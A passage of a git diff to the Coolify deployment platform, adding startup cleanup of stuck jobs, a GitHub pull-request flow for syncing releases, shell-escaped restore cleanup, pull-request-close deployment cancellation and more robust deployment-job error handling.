+                echo "Marked {$updatedBackupCount} stuck database backup executions as failed\n";
+            }
+        } catch (\Throwable $e) {
+            echo "Could not cleanup stuck database backup executions: {$e->getMessage()}\n";
+        }
+
         CheckHelperImageJob::dispatch();
     }
 }
diff --git a/app/Console/Commands/Emails.php b/app/Console/Commands/Emails.php
index a022d54dc..43ba06804 100644
--- a/app/Console/Commands/Emails.php
+++ b/app/Console/Commands/Emails.php
@@ -167,7 +167,7 @@ public function handle()
                     ]);
                 }
                 $output = 'Because of an error, the backup of the database '.$db->name.' failed.';
-                $this->mail = (new BackupFailed($backup, $db, $output))->toMail();
+                $this->mail = (new BackupFailed($backup, $db, $output, $backup->database_name ?? 'unknown'))->toMail();
                 $this->sendEmail();
                 break;
             case 'backup-success':
diff --git a/app/Console/Commands/Init.php b/app/Console/Commands/Init.php
index 4bc818f0a..66cb77838 100644
--- a/app/Console/Commands/Init.php
+++ b/app/Console/Commands/Init.php
@@ -10,9 +10,12 @@
 use App\Models\Environment;
 use App\Models\InstanceSettings;
 use App\Models\ScheduledDatabaseBackup;
+use App\Models\ScheduledDatabaseBackupExecution;
+use App\Models\ScheduledTaskExecution;
 use App\Models\Server;
 use App\Models\StandalonePostgresql;
 use App\Models\User;
+use Carbon\Carbon;
 use Illuminate\Console\Command;
 use Illuminate\Support\Facades\Artisan;
 use Illuminate\Support\Facades\File;
@@ -73,7 +76,7 @@ public function handle()
         $this->cleanupUnusedNetworkFromCoolifyProxy();
 
         try {
-            $this->call('cleanup:redis', ['--clear-locks' => true]);
+            $this->call('cleanup:redis', ['--restart' => true, '--clear-locks' => true]);
         } catch (\Throwable $e) {
             echo "Error in cleanup:redis command: {$e->getMessage()}\n";
         }
@@ -86,6 +89,7 @@ public function handle()
             $this->call('cleanup:stucked-resources');
         } catch (\Throwable $e) {
             echo "Error in cleanup:stucked-resources command: {$e->getMessage()}\n";
+            echo "Continuing with initialization - cleanup errors will not prevent Coolify from starting\n";
         }
         try {
             $updatedCount = ApplicationDeploymentQueue::whereIn('status', [
@@ -102,6 +106,34 @@ public function handle()
             echo "Could not cleanup inprogress deployments: {$e->getMessage()}\n";
         }
 
+        try {
+            $updatedTaskCount = ScheduledTaskExecution::where('status', 'running')->update([
+                'status' => 'failed',
+                'message' => 'Marked as failed during Coolify startup - job was interrupted',
+                'finished_at' => Carbon::now(),
+            ]);
+
+            if ($updatedTaskCount > 0) {
+                echo "Marked {$updatedTaskCount} stuck scheduled task executions as failed\n";
+            }
+        } catch (\Throwable $e) {
+            echo "Could not cleanup stuck scheduled task executions: {$e->getMessage()}\n";
+        }
+
+        try {
+            $updatedBackupCount = ScheduledDatabaseBackupExecution::where('status', 'running')->update([
+                'status' => 'failed',
+                'message' => 'Marked as failed during Coolify startup - job was interrupted',
+                'finished_at' => Carbon::now(),
+            ]);
+
+            if ($updatedBackupCount > 0) {
+                echo "Marked {$updatedBackupCount} stuck database backup executions as failed\n";
+            }
+        } catch (\Throwable $e) {
+            echo "Could not cleanup stuck database backup executions: {$e->getMessage()}\n";
+        }
+
         try {
             $localhost = $this->servers->where('id', 0)->first();
             if ($localhost) {
diff --git a/app/Console/Commands/SyncBunny.php b/app/Console/Commands/SyncBunny.php
index b0cd24715..e634feadb 100644
--- a/app/Console/Commands/SyncBunny.php
+++ b/app/Console/Commands/SyncBunny.php
@@ -26,9 +26,9 @@ class SyncBunny extends Command
     protected $description = 'Sync files to BunnyCDN';
 
     /**
-     * Fetch GitHub releases and sync to CDN
+     * Fetch GitHub releases and sync to GitHub repository
      */
-    private function syncGitHubReleases($parent_dir, $bunny_cdn_storage_name, $bunny_cdn_path, $bunny_cdn)
+    private function syncReleasesToGitHubRepo(): bool
     {
         $this->info('Fetching releases from GitHub...');
         try {
@@ -37,33 +37,122 @@ private function syncGitHubReleases($parent_dir, $bunny_cdn_storage_name, $bunny
                     'per_page' => 30,  // Fetch more releases for better changelog
                 ]);
 
-            if ($response->successful()) {
-                $releases = $response->json();
-
-                // Save releases to a temporary file
-                $releases_file = "$parent_dir/releases.json";
-                file_put_contents($releases_file, json_encode($releases, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES));
-
-                // Upload to CDN
-                Http::pool(fn (Pool $pool) => [
-                    $pool->storage(fileName: $releases_file)->put("/$bunny_cdn_storage_name/$bunny_cdn_path/releases.json"),
-                    $pool->purge("$bunny_cdn/coolify/releases.json"),
-                ]);
-
-                // Clean up temporary file
-                unlink($releases_file);
-
-                $this->info('releases.json uploaded & purged...');
-                $this->info('Total releases synced: '.count($releases));
-
-                return true;
-            } else {
+            if (! $response->successful()) {
                 $this->error('Failed to fetch releases from GitHub: '.$response->status());
 
                 return false;
             }
+
+            $releases = $response->json();
+            $timestamp = time();
+            $tmpDir = sys_get_temp_dir().'/coolify-cdn-'.$timestamp;
+            $branchName = 'update-releases-'.$timestamp;
+
+            // Clone the repository
+            $this->info('Cloning coolify-cdn repository...');
+            exec('gh repo clone coollabsio/coolify-cdn '.escapeshellarg($tmpDir).' 2>&1', $output, $returnCode);
+            if ($returnCode !== 0) {
+                $this->error('Failed to clone repository: '.implode("\n", $output));
+
+                return false;
+            }
+
+            // Create feature branch
+            $this->info('Creating feature branch...');
+            exec('cd '.escapeshellarg($tmpDir).' && git checkout -b '.escapeshellarg($branchName).' 2>&1', $output, $returnCode);
+            if ($returnCode !== 0) {
+                $this->error('Failed to create branch: '.implode("\n", $output));
+                exec('rm -rf '.escapeshellarg($tmpDir));
+
+                return false;
+            }
+
+            // Write releases.json
+            $this->info('Writing releases.json...');
+            $releasesPath = "$tmpDir/json/releases.json";
+            $jsonContent = json_encode($releases, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
+            $bytesWritten = file_put_contents($releasesPath, $jsonContent);
+
+            if ($bytesWritten === false) {
+                $this->error("Failed to write releases.json to: $releasesPath");
+                $this->error('Possible reasons: directory does not exist, permission denied, or disk full.');
+                exec('rm -rf '.escapeshellarg($tmpDir));
+
+                return false;
+            }
+
+            // Stage and commit
+            $this->info('Committing changes...');
+            exec('cd '.escapeshellarg($tmpDir).' && git add json/releases.json 2>&1', $output, $returnCode);
+            if ($returnCode !== 0) {
+                $this->error('Failed to stage changes: '.implode("\n", $output));
+                exec('rm -rf '.escapeshellarg($tmpDir));
+
+                return false;
+            }
+
+            $this->info('Checking for changes...');
+            $statusOutput = [];
+            exec('cd '.escapeshellarg($tmpDir).' && git status --porcelain json/releases.json 2>&1', $statusOutput, $returnCode);
+            if ($returnCode !== 0) {
+                $this->error('Failed to check repository status: '.implode("\n", $statusOutput));
+                exec('rm -rf '.escapeshellarg($tmpDir));
+
+                return false;
+            }
+
+            if (empty(array_filter($statusOutput))) {
+                $this->info('Releases are already up to date. No changes to commit.');
+                exec('rm -rf '.escapeshellarg($tmpDir));
+
+                return true;
+            }
+
+            $commitMessage = 'Update releases.json with latest releases - '.date('Y-m-d H:i:s');
+            $output = [];
+            exec('cd '.escapeshellarg($tmpDir).' && git commit -m '.escapeshellarg($commitMessage).' 2>&1', $output, $returnCode);
+            if ($returnCode !== 0) {
+                $this->error('Failed to commit changes: '.implode("\n", $output));
+                exec('rm -rf '.escapeshellarg($tmpDir));
+
+                return false;
+            }
+
+            // Push to remote
+            $this->info('Pushing branch to remote...');
+            exec('cd '.escapeshellarg($tmpDir).' && git push origin '.escapeshellarg($branchName).' 2>&1', $output, $returnCode);
+            if ($returnCode !== 0) {
+                $this->error('Failed to push branch: '.implode("\n", $output));
+                exec('rm -rf '.escapeshellarg($tmpDir));
+
+                return false;
+            }
+
+            // Create pull request
+            $this->info('Creating pull request...');
+            $prTitle = 'Update releases.json - '.date('Y-m-d H:i:s');
+            $prBody = 'Automated update of releases.json with latest '.count($releases).' releases from GitHub API';
+            $prCommand = 'gh pr create --repo coollabsio/coolify-cdn --title '.escapeshellarg($prTitle).' --body '.escapeshellarg($prBody).' --base main --head '.escapeshellarg($branchName).' 2>&1';
+            exec($prCommand, $output, $returnCode);
+
+            // Clean up
+            exec('rm -rf '.escapeshellarg($tmpDir));
+
+            if ($returnCode !== 0) {
+                $this->error('Failed to create PR: '.implode("\n", $output));
+
+                return false;
+            }
+
+            $this->info('Pull request created successfully!');
+            if (! empty($output)) {
+                $this->info('PR Output: '.implode("\n", $output));
+            }
+            $this->info('Total releases synced: '.count($releases));
+
+            return true;
         } catch (\Throwable $e) {
-            $this->error('Error fetching releases: '.$e->getMessage());
+            $this->error('Error syncing releases: '.$e->getMessage());
 
             return false;
         }
@@ -174,11 +263,7 @@ public function handle()
                     return;
                 }
 
-                // First sync GitHub releases
-                $this->info('Syncing GitHub releases first...');
-                $this->syncGitHubReleases($parent_dir, $bunny_cdn_storage_name, $bunny_cdn_path, $bunny_cdn);
-
-                // Then sync versions.json
+                // Sync versions.json to BunnyCDN
                 Http::pool(fn (Pool $pool) => [
                     $pool->storage(fileName: $versions_location)->put("/$bunny_cdn_storage_name/$bunny_cdn_path/$versions"),
                     $pool->purge("$bunny_cdn/$bunny_cdn_path/$versions"),
@@ -187,14 +272,14 @@ public function handle()
 
                 return;
             } elseif ($only_github_releases) {
-                $this->info('About to sync GitHub releases to BunnyCDN.');
+                $this->info('About to sync GitHub releases to GitHub repository.');
                 $confirmed = confirm('Are you sure you want to sync GitHub releases?');
                 if (! $confirmed) {
                     return;
                 }
 
-                // Use the reusable function
-                $this->syncGitHubReleases($parent_dir, $bunny_cdn_storage_name, $bunny_cdn_path, $bunny_cdn);
+                // Sync releases to GitHub repository
+                $this->syncReleasesToGitHubRepo();
 
                 return;
             }
diff --git a/app/Console/Kernel.php b/app/Console/Kernel.php
index c2ea27274..832bed5ae 100644
--- a/app/Console/Kernel.php
+++ b/app/Console/Kernel.php
@@ -5,6 +5,7 @@
 use App\Jobs\CheckAndStartSentinelJob;
 use App\Jobs\CheckForUpdatesJob;
 use App\Jobs\CheckHelperImageJob;
+use App\Jobs\CheckTraefikVersionJob;
 use App\Jobs\CleanupInstanceStuffsJob;
 use App\Jobs\PullChangelog;
 use App\Jobs\PullTemplatesFromCDN;
@@ -83,6 +84,8 @@ protected function schedule(Schedule $schedule): void
 
             $this->scheduleInstance->job(new RegenerateSslCertJob)->twiceDaily();
 
+            $this->scheduleInstance->job(new CheckTraefikVersionJob)->weekly()->sundays()->at('00:00')->timezone($this->instanceTimezone)->onOneServer();
+
             $this->scheduleInstance->command('cleanup:database --yes')->daily();
             $this->scheduleInstance->command('uploads:clear')->everyTwoMinutes();
         }
diff --git a/app/Data/ServerMetadata.php b/app/Data/ServerMetadata.php
index d95944b15..cdd9c8c08 100644
--- a/app/Data/ServerMetadata.php
+++ b/app/Data/ServerMetadata.php
@@ -10,6 +10,8 @@ class ServerMetadata extends Data
 {
     public function __construct(
         public ?ProxyTypes $type,
-        public ?ProxyStatus $status
+        public ?ProxyStatus $status,
+        public ?string $last_saved_settings = null,
+        public ?string $last_applied_settings = null
     ) {}
 }
diff --git a/app/Events/RestoreJobFinished.php b/app/Events/RestoreJobFinished.php
index d3adb7798..8690e01f6 100644
--- a/app/Events/RestoreJobFinished.php
+++ b/app/Events/RestoreJobFinished.php
@@ -17,17 +17,23 @@ public function __construct($data)
         $tmpPath = data_get($data, 'tmpPath');
         $container = data_get($data, 'container');
         $serverId = data_get($data, 'serverId');
-        if (filled($scriptPath) && filled($tmpPath) && filled($container) && filled($serverId)) {
-            if (str($tmpPath)->startsWith('/tmp/')
-                && str($scriptPath)->startsWith('/tmp/')
-                && ! str($tmpPath)->contains('..')
-                && ! str($scriptPath)->contains('..')
-                && strlen($tmpPath) > 5  // longer than just "/tmp/"
-                && strlen($scriptPath) > 5
-            ) {
-                $commands[] = "docker exec {$container} sh -c 'rm {$scriptPath}'";
-                $commands[] = "docker exec {$container} sh -c 'rm {$tmpPath}'";
-                instant_remote_process($commands, Server::find($serverId), throwError: true);
+
+        if (filled($container) && filled($serverId)) {
+            $commands = [];
+
+            if (isSafeTmpPath($scriptPath)) {
+                $commands[] = 'docker exec '.escapeshellarg($container)." sh -c 'rm ".escapeshellarg($scriptPath)." 2>/dev/null || true'";
+            }
+
+            if (isSafeTmpPath($tmpPath)) {
+                $commands[] = 'docker exec '.escapeshellarg($container)." sh -c 'rm ".escapeshellarg($tmpPath)." 2>/dev/null || true'";
+            }
+
+            if (! empty($commands)) {
+                $server = Server::find($serverId);
+                if ($server) {
+                    instant_remote_process($commands, $server, throwError: false);
+                }
             }
         }
     }
diff --git a/app/Events/S3RestoreJobFinished.php b/app/Events/S3RestoreJobFinished.php
new file mode 100644
index 000000000..e1f844558
--- /dev/null
+++ b/app/Events/S3RestoreJobFinished.php
@@ -0,0 +1,56 @@
+<?php
+
+namespace App\Events;
+
+use App\Models\Server;
+use Illuminate\Broadcasting\InteractsWithSockets;
+use Illuminate\Foundation\Events\Dispatchable;
+use Illuminate\Queue\SerializesModels;
+
+class S3RestoreJobFinished
+{
+    use Dispatchable, InteractsWithSockets, SerializesModels;
+
+    public function __construct($data)
+    {
+        $containerName = data_get($data, 'containerName');
+        $serverTmpPath = data_get($data, 'serverTmpPath');
+        $scriptPath = data_get($data, 'scriptPath');
+        $containerTmpPath = data_get($data, 'containerTmpPath');
+        $container = data_get($data, 'container');
+        $serverId = data_get($data, 'serverId');
+
+        // Most cleanup now happens inline during restore process
+        // This acts as a safety net for edge cases (errors, interruptions)
+        if (filled($serverId)) {
+            $commands = [];
+
+            // Ensure helper container is removed (may already be gone from inline cleanup)
+            if (filled($containerName)) {
+                $commands[] = 'docker rm -f '.escapeshellarg($containerName).' 2>/dev/null || true';
+            }
+
+            // Clean up server temp file if still exists (should already be cleaned)
+            if (isSafeTmpPath($serverTmpPath)) {
+                $commands[] = 'rm -f '.escapeshellarg($serverTmpPath).' 2>/dev/null || true';
+            }
+
+            // Clean up any remaining files in database container (may already be cleaned)
+            if (filled($container)) {
+                if (isSafeTmpPath($containerTmpPath)) {
+                    $commands[] = 'docker exec '.escapeshellarg($container).' rm -f '.escapeshellarg($containerTmpPath).' 2>/dev/null || true';
+                }
+                if (isSafeTmpPath($scriptPath)) {
+                    $commands[] = 'docker exec '.escapeshellarg($container).' rm -f '.escapeshellarg($scriptPath).' 2>/dev/null || true';
+                }
+            }
+
+            if (! empty($commands)) {
+                $server = Server::find($serverId);
+                if ($server) {
+                    instant_remote_process($commands, $server, throwError: false);
+                }
+            }
+        }
+    }
+}
diff --git a/app/Exceptions/DeploymentException.php b/app/Exceptions/DeploymentException.php
new file mode 100644
index 000000000..01e0a8235
--- /dev/null
+++ b/app/Exceptions/DeploymentException.php
@@ -0,0 +1,32 @@
+<?php
+
+namespace App\Exceptions;
+
+use Exception;
+
+/**
+ * Exception for expected deployment failures caused by user/application errors.
+ * These are not Coolify bugs and should not be logged to laravel.log.
+ * Examples: Nixpacks detection failures, missing Dockerfiles, invalid configs, etc.
+ */
+class DeploymentException extends Exception
+{
+    /**
+     * Create a new deployment exception instance.
+     *
+     * @param  string  $message
+     * @param  int  $code
+     */
+    public function __construct($message = '', $code = 0, ?\Throwable $previous = null)
+    {
+        parent::__construct($message, $code, $previous);
+    }
+
+    /**
+     * Create from another exception, preserving its message and stack trace.
+     */
+    public static function fromException(\Throwable $exception): static
+    {
+        return new static($exception->getMessage(), $exception->getCode(), $exception);
+    }
+}
diff --git a/app/Exceptions/Handler.php b/app/Exceptions/Handler.php
index 3d731223d..71de48bcd 100644
--- a/app/Exceptions/Handler.php
+++ b/app/Exceptions/Handler.php
@@ -30,6 +30,7 @@ class Handler extends ExceptionHandler
     protected $dontReport = [
         ProcessException::class,
         NonReportableException::class,
+        DeploymentException::class,
     ];
 
     /**
diff --git a/app/Http/Controllers/Webhook/Github.php b/app/Http/Controllers/Webhook/Github.php
index 5ba9c08e7..a1fcaa7f5 100644
--- a/app/Http/Controllers/Webhook/Github.php
+++ b/app/Http/Controllers/Webhook/Github.php
@@ -246,6 +246,40 @@ public function manual(Request $request)
                         if ($action === 'closed') {
                             $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first();
                             if ($found) {
+                                // Cancel any active deployments for this PR immediately
+                                $activeDeployment = \App\Models\ApplicationDeploymentQueue::where('application_id', $application->id)
+                                    ->where('pull_request_id', $pull_request_id)
+                                    ->whereIn('status', [
+                                        \App\Enums\ApplicationDeploymentStatus::QUEUED->value,
+                                        \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value,
+                                    ])
+                                    ->first();
+
+                                if ($activeDeployment) {
+                                    try {
+                                        // Mark deployment as cancelled
+                                        $activeDeployment->update([
+                                            'status' => \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value,
+                                        ]);
+
+                                        // Add cancellation log entry
+                                        $activeDeployment->addLogEntry('Deployment cancelled: Pull request closed.', 'stderr');
+
+                                        // Check if helper container exists and kill it
+                                        $deployment_uuid = $activeDeployment->deployment_uuid;
+                                        $server = $application->destination->server;
+                                        $checkCommand = "docker ps -a --filter name={$deployment_uuid} --format '{{.Names}}'";
+                                        $containerExists = instant_remote_process([$checkCommand], $server);
+
+                                        if ($containerExists && str($containerExists)->trim()->isNotEmpty()) {
+                                            instant_remote_process(["docker rm -f {$deployment_uuid}"], $server);
+                                            $activeDeployment->addLogEntry('Deployment container stopped.');
+                                        }
+                                    } catch (\Throwable $e) {
+                                        // Silently handle errors during deployment cancellation
+                                    }
+                                }
+
                                 DeleteResourceJob::dispatch($found);
                                 $return_payloads->push([
                                     'application' => $application->name,
@@ -481,6 +515,42 @@ public function normal(Request $request)
                         if ($action === 'closed' || $action === 'close') {
                             $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first();
                             if ($found) {
+                                // Cancel any active deployments for this PR immediately
+                                $activeDeployment = \App\Models\ApplicationDeploymentQueue::where('application_id', $application->id)
+                                    ->where('pull_request_id', $pull_request_id)
+                                    ->whereIn('status', [
+                                        \App\Enums\ApplicationDeploymentStatus::QUEUED->value,
+                                        \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value,
+                                    ])
+                                    ->first();
+
+                                if ($activeDeployment) {
+                                    try {
+                                        // Mark deployment as cancelled
+                                        $activeDeployment->update([
+                                            'status' => \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value,
+                                        ]);
+
+                                        // Add cancellation log entry
+                                        $activeDeployment->addLogEntry('Deployment cancelled: Pull request closed.', 'stderr');
+
+                                        // Check if helper container exists and kill it
+                                        $deployment_uuid = $activeDeployment->deployment_uuid;
+                                        $server = $application->destination->server;
+                                        $checkCommand = "docker ps -a --filter name={$deployment_uuid} --format '{{.Names}}'";
+                                        $containerExists = instant_remote_process([$checkCommand], $server);
+
+                                        if ($containerExists && str($containerExists)->trim()->isNotEmpty()) {
+                                            instant_remote_process(["docker rm -f {$deployment_uuid}"], $server);
+                                            $activeDeployment->addLogEntry('Deployment container stopped.');
+                                        }
+
+                                    } catch (\Throwable $e) {
+                                        // Silently handle errors during deployment cancellation
+                                    }
+                                }
+
+                                // Clean up any deployed containers
                                 $containers = getCurrentApplicationContainerStatus($application->destination->server, $application->id, $pull_request_id);
                                 if ($containers->isNotEmpty()) {
                                     $containers->each(function ($container) use ($application) {
diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index 9bbf048b9..8c1769181 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -7,6 +7,7 @@
 use App\Enums\ProcessStatus;
 use App\Events\ApplicationConfigurationChanged;
 use App\Events\ServiceStatusChanged;
+use App\Exceptions\DeploymentException;
 use App\Models\Application;
 use App\Models\ApplicationDeploymentQueue;
 use App\Models\ApplicationPreview;
@@ -31,7 +32,6 @@
 use Illuminate\Support\Collection;
 use Illuminate\Support\Sleep;
 use Illuminate\Support\Str;
-use RuntimeException;
 use Spatie\Url\Url;
 use Symfony\Component\Yaml\Yaml;
 use Throwable;
@@ -41,6 +41,12 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
 {
     use Dispatchable, EnvironmentVariableAnalyzer, ExecuteRemoteCommand, InteractsWithQueue, Queueable, SerializesModels;
 
+    public const BUILD_TIME_ENV_PATH = '/artifacts/build-time.env';
+
+    private const BUILD_SCRIPT_PATH = '/artifacts/build.sh';
+
+    private const NIXPACKS_PLAN_PATH = '/artifacts/thegameplan.json';
+
     public $tries = 1;
 
     public $timeout = 3600;
@@ -341,20 +347,42 @@ public function handle(): void
             $this->fail($e);
             throw $e;
         } finally {
-            $this->application_deployment_queue->update([
-                'finished_at' => Carbon::now()->toImmutable(),
-            ]);
-
-            if ($this->use_build_server) {
-                $this->server = $this->build_server;
-            } else {
-                $this->write_deployment_configurations();
+            // Wrap cleanup operations in try-catch to prevent exceptions from interfering
+            // with Laravel's job failure handling and status updates
+            try {
+                $this->application_deployment_queue->update([
+                    'finished_at' => Carbon::now()->toImmutable(),
+                ]);
+            } catch (Exception $e) {
+                // Log but don't fail - finished_at is not critical
+                \Log::warning('Failed to update finished_at for deployment '.$this->deployment_uuid.': '.$e->getMessage());
             }
 
-            $this->application_deployment_queue->addLogEntry("Gracefully shutting down build container: {$this->deployment_uuid}");
-            $this->graceful_shutdown_container($this->deployment_uuid);
+            try {
+                if ($this->use_build_server) {
+                    $this->server = $this->build_server;
+                } else {
+                    $this->write_deployment_configurations();
+                }
+            } catch (Exception $e) {
+                // Log but don't fail - configuration writing errors shouldn't prevent status updates
+                $this->application_deployment_queue->addLogEntry('Warning: Failed to write deployment configurations: '.$e->getMessage(), 'stderr');
+            }
 
-            ServiceStatusChanged::dispatch(data_get($this->application, 'environment.project.team.id'));
+            try {
+                $this->application_deployment_queue->addLogEntry("Gracefully shutting down build container: {$this->deployment_uuid}");
+                $this->graceful_shutdown_container($this->deployment_uuid);
+            } catch (Exception $e) {
+                // Log but don't fail - container cleanup errors are expected when container is already gone
+                \Log::warning('Failed to shutdown container '.$this->deployment_uuid.': '.$e->getMessage());
+            }
+
+            try {
+                ServiceStatusChanged::dispatch(data_get($this->application, 'environment.project.team.id'));
+            } catch (Exception $e) {
+                // Log but don't fail - event dispatch errors shouldn't prevent status updates
+                \Log::warning('Failed to dispatch ServiceStatusChanged for deployment '.$this->deployment_uuid.': '.$e->getMessage());
+            }
         }
     }
 
@@ -630,11 +658,27 @@ private function deploy_docker_compose_buildpack()
         $this->save_buildtime_environment_variables();
 
         if ($this->docker_compose_custom_build_command) {
+            // Auto-inject -f (compose file) and --env-file flags using helper function
+            $build_command = injectDockerComposeFlags(
+                $this->docker_compose_custom_build_command,
+                "{$this->workdir}{$this->docker_compose_location}",
+                self::BUILD_TIME_ENV_PATH
+            );
+
             // Prepend DOCKER_BUILDKIT=1 if BuildKit is supported
-            $build_command = $this->docker_compose_custom_build_command;
             if ($this->dockerBuildkitSupported) {
                 $build_command = "DOCKER_BUILDKIT=1 {$build_command}";
             }
+
+            // Append build arguments if not using build secrets (matching default behavior)
+            if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) {
+                $build_args_string = $this->build_args->implode(' ');
+                // Escape single quotes for bash -c context used by executeInDocker
+                $build_args_string = str_replace("'", "'\\''", $build_args_string);
+                $build_command .= " {$build_args_string}";
+                $this->application_deployment_queue->addLogEntry('Adding build arguments to custom Docker Compose build command.');
+            }
+
             $this->execute_remote_command(
                 [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$build_command}"), 'hidden' => true],
             );
@@ -645,7 +689,7 @@ private function deploy_docker_compose_buildpack()
                 $command = "DOCKER_BUILDKIT=1 {$command}";
             }
             // Use build-time .env file from /artifacts (outside Docker context to prevent it from being in the image)
-            $command .= ' --env-file /artifacts/build-time.env';
+            $command .= ' --env-file '.self::BUILD_TIME_ENV_PATH;
             if ($this->force_rebuild) {
                 $command .= " --project-name {$this->application->uuid} --project-directory {$this->workdir} -f {$this->workdir}{$this->docker_compose_location} build --pull --no-cache";
             } else {
@@ -693,9 +737,16 @@ private function deploy_docker_compose_buildpack()
         $server_workdir = $this->application->workdir();
         if ($this->application->settings->is_raw_compose_deployment_enabled) {
             if ($this->docker_compose_custom_start_command) {
+                // Auto-inject -f (compose file) and --env-file flags using helper function
+                $start_command = injectDockerComposeFlags(
+                    $this->docker_compose_custom_start_command,
+                    "{$server_workdir}{$this->docker_compose_location}",
+                    "{$server_workdir}/.env"
+                );
+
                 $this->write_deployment_configurations();
                 $this->execute_remote_command(
-                    [executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$this->docker_compose_custom_start_command}"), 'hidden' => true],
+                    [executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => true],
                 );
             } else {
                 $this->write_deployment_configurations();
@@ -711,9 +762,18 @@ private function deploy_docker_compose_buildpack()
             }
         } else {
             if ($this->docker_compose_custom_start_command) {
+                // Auto-inject -f (compose file) and --env-file flags using helper function
+                // Use $this->workdir for non-preserve-repository mode
+                $workdir_path = $this->preserveRepository ? $server_workdir : $this->workdir;
+                $start_command = injectDockerComposeFlags(
+                    $this->docker_compose_custom_start_command,
+                    "{$workdir_path}{$this->docker_compose_location}",
+                    "{$workdir_path}/.env"
+                );
+
                 $this->write_deployment_configurations();
                 $this->execute_remote_command(
-                    [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$this->docker_compose_custom_start_command}"), 'hidden' => true],
+                    [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$start_command}"), 'hidden' => true],
                 );
             } else {
                 $command = "{$this->coolify_variables} docker compose";
@@ -954,7 +1014,7 @@ private function push_to_docker_registry()
         } catch (Exception $e) {
             $this->application_deployment_queue->addLogEntry('Failed to push image to docker registry. Please check debug logs for more information.');
             if ($forceFail) {
-                throw new RuntimeException($e->getMessage(), 69420);
+                throw new DeploymentException(get_class($e).': '.$e->getMessage(), $e->getCode(), $e);
             }
         }
     }
@@ -1146,6 +1206,18 @@ private function generate_runtime_environment_variables()
             foreach ($runtime_environment_variables as $env) {
                 $envs->push($env->key.'='.$env->real_value);
             }
+
+            // Check for PORT environment variable mismatch with ports_exposes
+            if ($this->build_pack !== 'dockercompose') {
+                $detectedPort = $this->application->detectPortFromEnvironment(false);
+                if ($detectedPort && ! empty($ports) && ! in_array($detectedPort, $ports)) {
+                    $this->application_deployment_queue->addLogEntry(
+                        "Warning: PORT environment variable ({$detectedPort}) does not match configured ports_exposes: ".implode(',', $ports).'. It could case "bad gateway" or "no server" errors. Check the "General" page to fix it.',
+                        'stderr'
+                    );
+                }
+            }
+
             // Add PORT if not exists, use the first port as default
             if ($this->build_pack !== 'dockercompose') {
                 if ($this->application->environment_variables->where('key', 'PORT')->isEmpty()) {
@@ -1291,7 +1363,7 @@ private function save_runtime_environment_variables()
         $envs_base64 = base64_encode($environment_variables->implode("\n"));
 
         // Write .env file to workdir (for container runtime)
-        $this->application_deployment_queue->addLogEntry('Creating .env file with runtime variables for build phase.', hidden: true);
+        $this->application_deployment_queue->addLogEntry('Creating .env file with runtime variables for container.', hidden: true);
         $this->execute_remote_command(
             [
                 executeInDocker($this->deployment_uuid, "echo '$envs_base64' | base64 -d | tee $this->workdir/.env > /dev/null"),
@@ -1330,7 +1402,7 @@ private function generate_buildtime_environment_variables()
         }
 
         $envs = collect([]);
-        $coolify_envs = $this->generate_coolify_env_variables();
+        $coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true);
 
         // Add COOLIFY variables
         $coolify_envs->each(function ($item, $key) use ($envs) {
@@ -1500,10 +1572,10 @@ private function save_buildtime_environment_variables()
 
             $this->execute_remote_command(
                 [
-                    executeInDocker($this->deployment_uuid, "echo '$envs_base64' | base64 -d | tee /artifacts/build-time.env > /dev/null"),
+                    executeInDocker($this->deployment_uuid, "echo '$envs_base64' | base64 -d | tee ".self::BUILD_TIME_ENV_PATH.' > /dev/null'),
                 ],
                 [
-                    executeInDocker($this->deployment_uuid, 'cat /artifacts/build-time.env'),
+                    executeInDocker($this->deployment_uuid, 'cat '.self::BUILD_TIME_ENV_PATH),
                     'hidden' => true,
                 ],
             );
@@ -1514,7 +1586,7 @@ private function save_buildtime_environment_variables()
 
             $this->execute_remote_command(
                 [
-                    executeInDocker($this->deployment_uuid, 'touch /artifacts/build-time.env'),
+                    executeInDocker($this->deployment_uuid, 'touch '.self::BUILD_TIME_ENV_PATH),
                 ]
             );
         }
@@ -1576,123 +1648,131 @@ private function laravel_finetunes()
 
     private function rolling_update()
     {
-        $this->checkForCancellation();
-        if ($this->server->isSwarm()) {
-            $this->application_deployment_queue->addLogEntry('Rolling update started.');
-            $this->execute_remote_command(
-                [
-                    executeInDocker($this->deployment_uuid, "docker stack deploy --detach=true --with-registry-auth -c {$this->workdir}{$this->docker_compose_location} {$this->application->uuid}"),
-                ],
-            );
-            $this->application_deployment_queue->addLogEntry('Rolling update completed.');
-        } else {
-            if ($this->use_build_server) {
-                $this->write_deployment_configurations();
-                $this->server = $this->original_server;
-            }
-            if (count($this->application->ports_mappings_array) > 0 || (bool) $this->application->settings->is_consistent_container_name_enabled || str($this->application->settings->custom_internal_name)->isNotEmpty() || $this->pull_request_id !== 0 || str($this->application->custom_docker_run_options)->contains('--ip') || str($this->application->custom_docker_run_options)->contains('--ip6')) {
-                $this->application_deployment_queue->addLogEntry('----------------------------------------');
-                if (count($this->application->ports_mappings_array) > 0) {
-                    $this->application_deployment_queue->addLogEntry('Application has ports mapped to the host system, rolling update is not supported.');
-                }
-                if ((bool) $this->application->settings->is_consistent_container_name_enabled) {
-                    $this->application_deployment_queue->addLogEntry('Consistent container name feature enabled, rolling update is not supported.');
-                }
-                if (str($this->application->settings->custom_internal_name)->isNotEmpty()) {
